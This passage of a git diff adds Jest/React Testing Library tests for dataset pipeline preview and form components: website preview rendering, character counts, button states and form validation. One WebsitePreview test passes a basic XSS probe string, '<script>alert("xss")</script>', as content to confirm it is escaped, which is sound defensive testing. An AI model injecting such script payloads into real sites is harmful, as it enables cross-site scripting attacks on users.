+    it('should handle different page types', () => {
+      const currentPage = createMockNotionPage({ type: 'database' })
+
+      render(<OnlineDocumentPreview {...defaultProps} currentPage={currentPage} />)
+
+      expect(screen.getByText('database')).toBeInTheDocument()
+    })
+
+    it('should use credentialId from store', async () => {
+      mockGetState.mockReturnValue({
+        currentCredentialId: 'custom-credential',
+      })
+
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          expect.objectContaining({
+            credentialId: 'custom-credential',
+          }),
+          expect.anything(),
+        )
+      })
+    })
+
+    it('should not render markdown content when content is empty and not pending', async () => {
+      mockMutateAsync.mockImplementation((params, callbacks) => {
+        callbacks.onSuccess({ content: '' })
+        return Promise.resolve({ content: '' })
+      })
+      mockUsePreviewOnlineDocument.mockReturnValue({
+        mutateAsync: mockMutateAsync,
+        isPending: false,
+      })
+
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      // Content is empty, markdown area should still render but be empty
+      await waitFor(() => {
+        expect(screen.queryByText('Test content')).not.toBeInTheDocument()
+      })
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/preview/web-preview.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/preview/web-preview.spec.tsx
new file mode 100644
index 0000000000..97343e75ee
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/preview/web-preview.spec.tsx
@@ -0,0 +1,256 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import React from 'react'
+import WebsitePreview from './web-preview'
+import type { CrawlResultItem } from '@/models/datasets'
+
+// Uses __mocks__/react-i18next.ts automatically
+
+// Test data factory
+const createMockCrawlResult = (overrides?: Partial<CrawlResultItem>): CrawlResultItem => ({
+  title: 'Test Website Title',
+  markdown: 'This is the **markdown** content of the website.',
+  description: 'Test description',
+  source_url: 'https://example.com/page',
+  ...overrides,
+})
+
+const defaultProps = {
+  currentWebsite: createMockCrawlResult(),
+  hidePreview: jest.fn(),
+}
+
+describe('WebsitePreview', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render the component with website information', () => {
+      render(<WebsitePreview {...defaultProps} />)
+
+      // i18n mock returns key by default
+      expect(screen.getByText('datasetPipeline.addDocuments.stepOne.preview')).toBeInTheDocument()
+      expect(screen.getByText('Test Website Title')).toBeInTheDocument()
+    })
+
+    it('should display the source URL', () => {
+      render(<WebsitePreview {...defaultProps} />)
+
+      expect(screen.getByText('https://example.com/page')).toBeInTheDocument()
+    })
+
+    it('should render close button', () => {
+      render(<WebsitePreview {...defaultProps} />)
+
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should render the markdown content', () => {
+      render(<WebsitePreview {...defaultProps} />)
+
+      expect(screen.getByText('This is the **markdown** content of the website.')).toBeInTheDocument()
+    })
+  })
+
+  describe('Character Count', () => {
+    it('should display character count for small content', () => {
+      const currentWebsite = createMockCrawlResult({ markdown: 'Hello' }) // 5 characters
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      // Real formatNumberAbbreviated returns "5" for numbers < 1000
+      expect(screen.getByText(/5/)).toBeInTheDocument()
+    })
+
+    it('should format character count in thousands', () => {
+      const longContent = 'a'.repeat(2500)
+      const currentWebsite = createMockCrawlResult({ markdown: longContent })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      // Real formatNumberAbbreviated uses lowercase 'k': "2.5k"
+      expect(screen.getByText(/2\.5k/)).toBeInTheDocument()
+    })
+
+    it('should format character count in millions', () => {
+      const veryLongContent = 'a'.repeat(1500000)
+      const currentWebsite = createMockCrawlResult({ markdown: veryLongContent })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      expect(screen.getByText(/1\.5M/)).toBeInTheDocument()
+    })
+
+    it('should show 0 characters for empty markdown', () => {
+      const currentWebsite = createMockCrawlResult({ markdown: '' })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      expect(screen.getByText(/0/)).toBeInTheDocument()
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should call hidePreview when close button is clicked', () => {
+      const hidePreview = jest.fn()
+
+      render(<WebsitePreview {...defaultProps} hidePreview={hidePreview} />)
+
+      const closeButton = screen.getByRole('button')
+      fireEvent.click(closeButton)
+
+      expect(hidePreview).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  describe('URL Display', () => {
+    it('should display long URLs', () => {
+      const longUrl = 'https://example.com/very/long/path/to/page/with/many/segments'
+      const currentWebsite = createMockCrawlResult({ source_url: longUrl })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      const urlElement = screen.getByTitle(longUrl)
+      expect(urlElement).toBeInTheDocument()
+      expect(urlElement).toHaveTextContent(longUrl)
+    })
+
+    it('should display URL with title attribute', () => {
+      const currentWebsite = createMockCrawlResult({ source_url: 'https://test.com' })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      expect(screen.getByTitle('https://test.com')).toBeInTheDocument()
+    })
+  })
+
+  describe('Content Display', () => {
+    it('should display the markdown content in content area', () => {
+      const currentWebsite = createMockCrawlResult({
+        markdown: 'Content with **bold** and *italic* text.',
+      })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      expect(screen.getByText('Content with **bold** and *italic* text.')).toBeInTheDocument()
+    })
+
+    it('should handle multiline content', () => {
+      const multilineContent = 'Line 1\nLine 2\nLine 3'
+      const currentWebsite = createMockCrawlResult({ markdown: multilineContent })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      // Multiline content is rendered as-is
+      expect(screen.getByText((content) => {
+        return content.includes('Line 1') && content.includes('Line 2') && content.includes('Line 3')
+      })).toBeInTheDocument()
+    })
+
+    it('should handle special characters in content', () => {
+      const specialContent = '<script>alert("xss")</script> & < > " \''
+      const currentWebsite = createMockCrawlResult({ markdown: specialContent })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      expect(screen.getByText(specialContent)).toBeInTheDocument()
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle empty title', () => {
+      const currentWebsite = createMockCrawlResult({ title: '' })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should handle empty source URL', () => {
+      const currentWebsite = createMockCrawlResult({ source_url: '' })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should handle very long title', () => {
+      const longTitle = 'A'.repeat(500)
+      const currentWebsite = createMockCrawlResult({ title: longTitle })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      expect(screen.getByText(longTitle)).toBeInTheDocument()
+    })
+
+    it('should handle unicode characters in content', () => {
+      const unicodeContent = '你好世界 🌍 مرحبا こんにちは'
+      const currentWebsite = createMockCrawlResult({ markdown: unicodeContent })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      expect(screen.getByText(unicodeContent)).toBeInTheDocument()
+    })
+
+    it('should handle URL with query parameters', () => {
+      const urlWithParams = 'https://example.com/page?query=test&param=value'
+      const currentWebsite = createMockCrawlResult({ source_url: urlWithParams })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      expect(screen.getByTitle(urlWithParams)).toBeInTheDocument()
+    })
+
+    it('should handle URL with hash fragment', () => {
+      const urlWithHash = 'https://example.com/page#section-1'
+      const currentWebsite = createMockCrawlResult({ source_url: urlWithHash })
+
+      render(<WebsitePreview {...defaultProps} currentWebsite={currentWebsite} />)
+
+      expect(screen.getByTitle(urlWithHash)).toBeInTheDocument()
+    })
+  })
+
+  describe('Styling', () => {
+    it('should apply container styles', () => {
+      const { container } = render(<WebsitePreview {...defaultProps} />)
+
+      const mainContainer = container.firstChild as HTMLElement
+      expect(mainContainer).toHaveClass('flex', 'h-full', 'w-full', 'flex-col')
+    })
+  })
+
+  describe('Multiple Renders', () => {
+    it('should update when currentWebsite changes', () => {
+      const website1 = createMockCrawlResult({ title: 'Website 1', markdown: 'Content 1' })
+      const website2 = createMockCrawlResult({ title: 'Website 2', markdown: 'Content 2' })
+
+      const { rerender } = render(<WebsitePreview {...defaultProps} currentWebsite={website1} />)
+
+      expect(screen.getByText('Website 1')).toBeInTheDocument()
+      expect(screen.getByText('Content 1')).toBeInTheDocument()
+
+      rerender(<WebsitePreview {...defaultProps} currentWebsite={website2} />)
+
+      expect(screen.getByText('Website 2')).toBeInTheDocument()
+      expect(screen.getByText('Content 2')).toBeInTheDocument()
+    })
+
+    it('should call new hidePreview when prop changes', () => {
+      const hidePreview1 = jest.fn()
+      const hidePreview2 = jest.fn()
+
+      const { rerender } = render(<WebsitePreview {...defaultProps} hidePreview={hidePreview1} />)
+
+      const closeButton = screen.getByRole('button')
+      fireEvent.click(closeButton)
+      expect(hidePreview1).toHaveBeenCalledTimes(1)
+
+      rerender(<WebsitePreview {...defaultProps} hidePreview={hidePreview2} />)
+
+      fireEvent.click(closeButton)
+      expect(hidePreview2).toHaveBeenCalledTimes(1)
+      expect(hidePreview1).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/process-documents/components.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/process-documents/components.spec.tsx
new file mode 100644
index 0000000000..c92ce491fb
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/process-documents/components.spec.tsx
@@ -0,0 +1,861 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import React from 'react'
+import Actions from './actions'
+import Header from './header'
+import Form from './form'
+import type { BaseConfiguration } from '@/app/components/base/form/form-scenarios/base/types'
+import { BaseFieldType } from '@/app/components/base/form/form-scenarios/base/types'
+import { z } from 'zod'
+import Toast from '@/app/components/base/toast'
+
+// ==========================================
+// Spy on Toast.notify for validation tests
+// ==========================================
+const toastNotifySpy = jest.spyOn(Toast, 'notify')
+
+// ==========================================
+// Test Data Factory Functions
+// ==========================================
+
+/**
+ * Creates mock configuration for testing
+ */
+const createMockConfiguration = (overrides: Partial<BaseConfiguration> = {}): BaseConfiguration => ({
+  type: BaseFieldType.textInput,
+  variable: 'testVariable',
+  label: 'Test Label',
+  required: false,
+  maxLength: undefined,
+  options: undefined,
+  showConditions: [],
+  placeholder: 'Enter value',
+  tooltip: '',
+  ...overrides,
+})
+
+/**
+ * Creates a valid Zod schema for testing
+ */
+const createMockSchema = () => {
+  return z.object({
+    field1: z.string().optional(),
+  })
+}
+
+/**
+ * Creates a schema that always fails validation
+ */
+const createFailingSchema = () => {
+  return {
+    safeParse: () => ({
+      success: false,
+      error: {
+        issues: [{ path: ['field1'], message: 'is required' }],
+      },
+    }),
+  } as unknown as z.ZodSchema
+}
+
+// ==========================================
+// Actions Component Tests
+// ==========================================
+describe('Actions', () => {
+  const defaultActionsProps = {
+    onBack: jest.fn(),
+    onProcess: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      render(<Actions {...defaultActionsProps} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.operations.dataSource')).toBeInTheDocument()
+      expect(screen.getByText('datasetPipeline.operations.saveAndProcess')).toBeInTheDocument()
+    })
+
+    it('should render back button with arrow icon', () => {
+      // Arrange & Act
+      render(<Actions {...defaultActionsProps} />)
+
+      // Assert
+      const backButton = screen.getByRole('button', { name: /datasetPipeline.operations.dataSource/i })
+      expect(backButton).toBeInTheDocument()
+      expect(backButton.querySelector('svg')).toBeInTheDocument()
+    })
+
+    it('should render process button', () => {
+      // Arrange & Act
+      render(<Actions {...defaultActionsProps} />)
+
+      // Assert
+      const processButton = screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i })
+      expect(processButton).toBeInTheDocument()
+    })
+
+    it('should have correct container layout', () => {
+      // Arrange & Act
+      const { container } = render(<Actions {...defaultActionsProps} />)
+
+      // Assert
+      const mainContainer = container.querySelector('.flex.items-center.justify-between')
+      expect(mainContainer).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('runDisabled prop', () => {
+      it('should not disable process button when runDisabled is false', () => {
+        // Arrange & Act
+        render(<Actions {...defaultActionsProps} runDisabled={false} />)
+
+        // Assert
+        const processButton = screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i })
+        expect(processButton).not.toBeDisabled()
+      })
+
+      it('should disable process button when runDisabled is true', () => {
+        // Arrange & Act
+        render(<Actions {...defaultActionsProps} runDisabled={true} />)
+
+        // Assert
+        const processButton = screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i })
+        expect(processButton).toBeDisabled()
+      })
+
+      it('should not disable process button when runDisabled is undefined', () => {
+        // Arrange & Act
+        render(<Actions {...defaultActionsProps} runDisabled={undefined} />)
+
+        // Assert
+        const processButton = screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i })
+        expect(processButton).not.toBeDisabled()
+      })
+    })
+  })
+
+  // ==========================================
+  // User Interactions Testing
+  // ==========================================
+  describe('User Interactions', () => {
+    it('should call onBack when back button is clicked', () => {
+      // Arrange
+      const onBack = jest.fn()
+      render(<Actions {...defaultActionsProps} onBack={onBack} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /datasetPipeline.operations.dataSource/i }))
+
+      // Assert
+      expect(onBack).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onProcess when process button is clicked', () => {
+      // Arrange
+      const onProcess = jest.fn()
+      render(<Actions {...defaultActionsProps} onProcess={onProcess} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i }))
+
+      // Assert
+      expect(onProcess).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onProcess when process button is disabled and clicked', () => {
+      // Arrange
+      const onProcess = jest.fn()
+      render(<Actions {...defaultActionsProps} onProcess={onProcess} runDisabled={true} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /datasetPipeline.operations.saveAndProcess/i }))
+
+      // Assert
+      expect(onProcess).not.toHaveBeenCalled()
+    })
+  })
+
+  // ==========================================
+  // Component Memoization Testing
+  // ==========================================
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert
+      expect(Actions.$$typeof).toBe(Symbol.for('react.memo'))
+    })
+  })
+})
+
+// ==========================================
+// Header Component Tests
+// ==========================================
+describe('Header', () => {
+  const defaultHeaderProps = {
+    onReset: jest.fn(),
+    resetDisabled: false,
+    previewDisabled: false,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      render(<Header {...defaultHeaderProps} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+    })
+
+    it('should render reset button', () => {
+      // Arrange & Act
+      render(<Header {...defaultHeaderProps} />)
+
+      // Assert
+      expect(screen.getByRole('button', { name: /common.operation.reset/i })).toBeInTheDocument()
+    })
+
+    it('should render preview button with icon', () => {
+      // Arrange & Act
+      render(<Header {...defaultHeaderProps} />)
+
+      // Assert
+      const previewButton = screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i })
+      expect(previewButton).toBeInTheDocument()
+      expect(previewButton.querySelector('svg')).toBeInTheDocument()
+    })
+
+    it('should render title with correct text', () => {
+      // Arrange & Act
+      render(<Header {...defaultHeaderProps} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+    })
+
+    it('should have correct container layout', () => {
+      // Arrange & Act
+      const { container } = render(<Header {...defaultHeaderProps} />)
+
+      // Assert
+      const mainContainer = container.querySelector('.flex.items-center.gap-x-1')
+      expect(mainContainer).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('resetDisabled prop', () => {
+      it('should not disable reset button when resetDisabled is false', () => {
+        // Arrange & Act
+        render(<Header {...defaultHeaderProps} resetDisabled={false} />)
+
+        // Assert
+        const resetButton = screen.getByRole('button', { name: /common.operation.reset/i })
+        expect(resetButton).not.toBeDisabled()
+      })
+
+      it('should disable reset button when resetDisabled is true', () => {
+        // Arrange & Act
+        render(<Header {...defaultHeaderProps} resetDisabled={true} />)
+
+        // Assert
+        const resetButton = screen.getByRole('button', { name: /common.operation.reset/i })
+        expect(resetButton).toBeDisabled()
+      })
+    })
+
+    describe('previewDisabled prop', () => {
+      it('should not disable preview button when previewDisabled is false', () => {
+        // Arrange & Act
+        render(<Header {...defaultHeaderProps} previewDisabled={false} />)
+
+        // Assert
+        const previewButton = screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i })
+        expect(previewButton).not.toBeDisabled()
+      })
+
+      it('should disable preview button when previewDisabled is true', () => {
+        // Arrange & Act
+        render(<Header {...defaultHeaderProps} previewDisabled={true} />)
+
+        // Assert
+        const previewButton = screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i })
+        expect(previewButton).toBeDisabled()
+      })
+    })
+
+    it('should handle onPreview being undefined', () => {
+      // Arrange & Act
+      render(<Header {...defaultHeaderProps} onPreview={undefined} />)
+
+      // Assert
+      const previewButton = screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i })
+      expect(previewButton).toBeInTheDocument()
+      // Click should not throw
+      let didThrow = false
+      try {
+        fireEvent.click(previewButton)
+      }
+      catch {
+        didThrow = true
+      }
+      expect(didThrow).toBe(false)
+    })
+  })
+
+  // ==========================================
+  // User Interactions Testing
+  // ==========================================
+  describe('User Interactions', () => {
+    it('should call onReset when reset button is clicked', () => {
+      // Arrange
+      const onReset = jest.fn()
+      render(<Header {...defaultHeaderProps} onReset={onReset} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /common.operation.reset/i }))
+
+      // Assert
+      expect(onReset).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onReset when reset button is disabled and clicked', () => {
+      // Arrange
+      const onReset = jest.fn()
+      render(<Header {...defaultHeaderProps} onReset={onReset} resetDisabled={true} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /common.operation.reset/i }))
+
+      // Assert
+      expect(onReset).not.toHaveBeenCalled()
+    })
+
+    it('should call onPreview when preview button is clicked', () => {
+      // Arrange
+      const onPreview = jest.fn()
+      render(<Header {...defaultHeaderProps} onPreview={onPreview} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i }))
+
+      // Assert
+      expect(onPreview).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onPreview when preview button is disabled and clicked', () => {
+      // Arrange
+      const onPreview = jest.fn()
+      render(<Header {...defaultHeaderProps} onPreview={onPreview} previewDisabled={true} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i }))
+
+      // Assert
+      expect(onPreview).not.toHaveBeenCalled()
+    })
+  })
+
+  // ==========================================
+  // Component Memoization Testing
+  // ==========================================
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert
+      expect(Header.$$typeof).toBe(Symbol.for('react.memo'))
+    })
+  })
+
+  // ==========================================
+  // Edge Cases Testing
+  // ==========================================
+  describe('Edge Cases', () => {
+    it('should handle both buttons disabled', () => {
+      // Arrange & Act
+      render(<Header {...defaultHeaderProps} resetDisabled={true} previewDisabled={true} />)
+
+      // Assert
+      const resetButton = screen.getByRole('button', { name: /common.operation.reset/i })
+      const previewButton = screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i })
+      expect(resetButton).toBeDisabled()
+      expect(previewButton).toBeDisabled()
+    })
+
+    it('should handle both buttons enabled', () => {
+      // Arrange & Act
+      render(<Header {...defaultHeaderProps} resetDisabled={false} previewDisabled={false} />)
+
+      // Assert
+      const resetButton = screen.getByRole('button', { name: /common.operation.reset/i })
+      const previewButton = screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i })
+      expect(resetButton).not.toBeDisabled()
+      expect(previewButton).not.toBeDisabled()
+    })
+  })
+})
+
+// ==========================================
+// Form Component Tests
+// ==========================================
+describe('Form', () => {
+  const defaultFormProps = {
+    initialData: { field1: '' },
+    configurations: [] as BaseConfiguration[],
+    schema: createMockSchema(),
+    onSubmit: jest.fn(),
+    onPreview: jest.fn(),
+    ref: { current: null } as React.RefObject<unknown>,
+    isRunning: false,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    toastNotifySpy.mockClear()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      render(<Form {...defaultFormProps} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+    })
+
+    it('should render form element', () => {
+      // Arrange & Act
+      const { container } = render(<Form {...defaultFormProps} />)
+
+      // Assert
+      const form = container.querySelector('form')
+      expect(form).toBeInTheDocument()
+    })
+
+    it('should render Header component', () => {
+      // Arrange & Act
+      render(<Form {...defaultFormProps} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.chunkSettings')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: /common.operation.reset/i })).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i })).toBeInTheDocument()
+    })
+
+    it('should have correct form structure', () => {
+      // Arrange & Act
+      const { container } = render(<Form {...defaultFormProps} />)
+
+      // Assert
+      const form = container.querySelector('form.flex.w-full.flex-col')
+      expect(form).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('isRunning prop', () => {
+      it('should disable preview button when isRunning is true', () => {
+        // Arrange & Act
+        render(<Form {...defaultFormProps} isRunning={true} />)
+
+        // Assert
+        const previewButton = screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i })
+        expect(previewButton).toBeDisabled()
+      })
+
+      it('should not disable preview button when isRunning is false', () => {
+        // Arrange & Act
+        render(<Form {...defaultFormProps} isRunning={false} />)
+
+        // Assert
+        const previewButton = screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i })
+        expect(previewButton).not.toBeDisabled()
+      })
+    })
+
+    describe('configurations prop', () => {
+      it('should render empty when configurations is empty', () => {
+        // Arrange & Act
+        const { container } = render(<Form {...defaultFormProps} configurations={[]} />)
+
+        // Assert - the fields container should have no field children
+        const fieldsContainer = container.querySelector('.flex.flex-col.gap-3')
+        expect(fieldsContainer?.children.length).toBe(0)
+      })
+
+      it('should render all configurations', () => {
+        // Arrange
+        const configurations = [
+          createMockConfiguration({ variable: 'var1', label: 'Variable 1' }),
+          createMockConfiguration({ variable: 'var2', label: 'Variable 2' }),
+          createMockConfiguration({ variable: 'var3', label: 'Variable 3' }),
+        ]
+
+        // Act
+        render(<Form {...defaultFormProps} configurations={configurations} initialData={{ var1: '', var2: '', var3: '' }} />)
+
+        // Assert
+        expect(screen.getByText('Variable 1')).toBeInTheDocument()
+        expect(screen.getByText('Variable 2')).toBeInTheDocument()
+        expect(screen.getByText('Variable 3')).toBeInTheDocument()
+      })
+    })
+
+    it('should expose submit method via ref', () => {
+      // Arrange
+      const mockRef = { current: null } as React.MutableRefObject<{ submit: () => void } | null>
+
+      // Act
+      render(<Form {...defaultFormProps} ref={mockRef} />)
+
+      // Assert
+      expect(mockRef.current).not.toBeNull()
+      expect(typeof mockRef.current?.submit).toBe('function')
+    })
+  })
+
+  // ==========================================
+  // Ref Submit Testing
+  // ==========================================
+  describe('Ref Submit', () => {
+    it('should call onSubmit when ref.submit() is called', async () => {
+      // Arrange
+      const onSubmit = jest.fn()
+      const mockRef = { current: null } as React.MutableRefObject<{ submit: () => void } | null>
+      render(<Form {...defaultFormProps} ref={mockRef} onSubmit={onSubmit} />)
+
+      // Act - call submit via ref
+      mockRef.current?.submit()
+
+      // Assert
+      await waitFor(() => {
+        expect(onSubmit).toHaveBeenCalled()
+      })
+    })
+
+    it('should trigger form validation when ref.submit() is called', async () => {
+      // Arrange
+      const failingSchema = createFailingSchema()
+      const mockRef = { current: null } as React.MutableRefObject<{ submit: () => void } | null>
+      render(<Form {...defaultFormProps} ref={mockRef} schema={failingSchema} />)
+
+      // Act - call submit via ref
+      mockRef.current?.submit()
+
+      // Assert - validation error should be shown
+      await waitFor(() => {
+        expect(toastNotifySpy).toHaveBeenCalledWith({
+          type: 'error',
+          message: '"field1" is required',
+        })
+      })
+    })
+  })
+
+  // ==========================================
+  // User Interactions Testing
+  // ==========================================
+  describe('User Interactions', () => {
+    it('should call onPreview when preview button is clicked', () => {
+      // Arrange
+      const onPreview = jest.fn()
+      render(<Form {...defaultFormProps} onPreview={onPreview} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: /datasetPipeline.addDocuments.stepTwo.previewChunks/i }))
+
+      // Assert
+      expect(onPreview).toHaveBeenCalledTimes(1)
+    })
+
+    it('should handle form submission via form element', async () => {
+      // Arrange
+      const onSubmit = jest.fn()
+      const { container } = render(<Form {...defaultFormProps} onSubmit={onSubmit} />)
+      const form = container.querySelector('form')!
+
+      // Act
+      fireEvent.submit(form)
+
+      // Assert
+      await waitFor(() => {
+        expect(onSubmit).toHaveBeenCalled()
+      })
+    })
+  })
+
+  // ==========================================
+  // Form State Testing
+  // ==========================================
+  describe('Form State', () => {
+    it('should disable reset button initially when form is not dirty', () => {
+      // Arrange & Act
+      render(<Form {...defaultFormProps} />)
+
+      // Assert
+      const resetButton = screen.getByRole('button', { name: /common.operation.reset/i })
+      expect(resetButton).toBeDisabled()
+    })
+
+    it('should enable reset button when form becomes dirty', async () => {
+      // Arrange
+      const configurations = [
+        createMockConfiguration({ variable: 'field1', label: 'Field 1' }),
+      ]
+
+      render(<Form {...defaultFormProps} configurations={configurations} />)
+
+      // Act - change input to make form dirty
+      const input = screen.getByRole('textbox')
+      fireEvent.change(input, { target: { value: 'new value' } })
+
+      // Assert
+      await waitFor(() => {
+        const resetButton = screen.getByRole('button', { name: /common.operation.reset/i })
+        expect(resetButton).not.toBeDisabled()
+      })
+    })
+
+    it('should reset form to initial values when reset button is clicked', async () => {
+      // Arrange
+      const configurations = [
+        createMockConfiguration({ variable: 'field1', label: 'Field 1' }),
+      ]
+      const initialData = { field1: 'initial value' }
+
+      render(<Form {...defaultFormProps} configurations={configurations} initialData={initialData} />)
+
+      // Act - change input to make form dirty
+      const input = screen.getByRole('textbox')
+      fireEvent.change(input, { target: { value: 'new value' } })
+
+      // Wait for reset button to be enabled
+      await waitFor(() => {
+        const resetButton = screen.getByRole('button', { name: /common.operation.reset/i })
+        expect(resetButton).not.toBeDisabled()
+      })
+
+      // Click reset button
+      const resetButton = screen.getByRole('button', { name: /common.operation.reset/i })
+      fireEvent.click(resetButton)
+
+      // Assert - form should be reset, button should be disabled again
+      await waitFor(() => {
+        expect(resetButton).toBeDisabled()
+      })
+    })
+
+    it('should call form.reset when handleReset is triggered', async () => {
+      // Arrange
+      const configurations = [
+        createMockConfiguration({ variable: 'field1', label: 'Field 1' }),
+      ]
+      const initialData = { field1: 'original' }
+
+      render(<Form {...defaultFormProps} configurations={configurations} initialData={initialData} />)
+
+      // Make form dirty
+      const input = screen.getByRole('textbox')
+      fireEvent.change(input, { target: { value: 'modified' } })
+
+      // Wait for dirty state
+      await waitFor(() => {
+        expect(screen.getByRole('button', { name: /common.operation.reset/i })).not.toBeDisabled()
+      })
+
+      // Act - click reset
+      fireEvent.click(screen.getByRole('button', { name: /common.operation.reset/i }))
+
+      // Assert - input should be reset to initial value
+      await waitFor(() => {
+        expect(input).toHaveValue('original')
+      })
+    })
+  })
+
+  // ==========================================
+  // Validation Testing
+  // ==========================================
+  describe('Validation', () => {
+    it('should show toast notification on validation error', async () => {
+      // Arrange
+      const failingSchema = createFailingSchema()
+      const { container } = render(<Form {...defaultFormProps} schema={failingSchema} />)
+
+      // Act
+      const form = container.querySelector('form')!
+      fireEvent.submit(form)
+
+      // Assert
+      await waitFor(() => {
+        expect(toastNotifySpy).toHaveBeenCalledWith({
+          type: 'error',
+          message: '"field1" is required',
+        })
+      })
+    })
+
+    it('should not call onSubmit when validation fails', async () => {
+      // Arrange
+      const onSubmit = jest.fn()
+      const failingSchema = createFailingSchema()
+      const { container } = render(<Form {...defaultFormProps} schema={failingSchema} onSubmit={onSubmit} />)
+
+      // Act
+      const form = container.querySelector('form')!
+      fireEvent.submit(form)
+
+      // Assert - wait a bit and verify onSubmit was not called
+      await waitFor(() => {
+        expect(toastNotifySpy).toHaveBeenCalled()
+      })
+      expect(onSubmit).not.toHaveBeenCalled()
+    })
+
+    it('should call onSubmit when validation passes', async () => {
+      // Arrange
+      const onSubmit = jest.fn()
+      const passingSchema = createMockSchema()
+      const { container } = render(<Form {...defaultFormProps} schema={passingSchema} onSubmit={onSubmit} />)
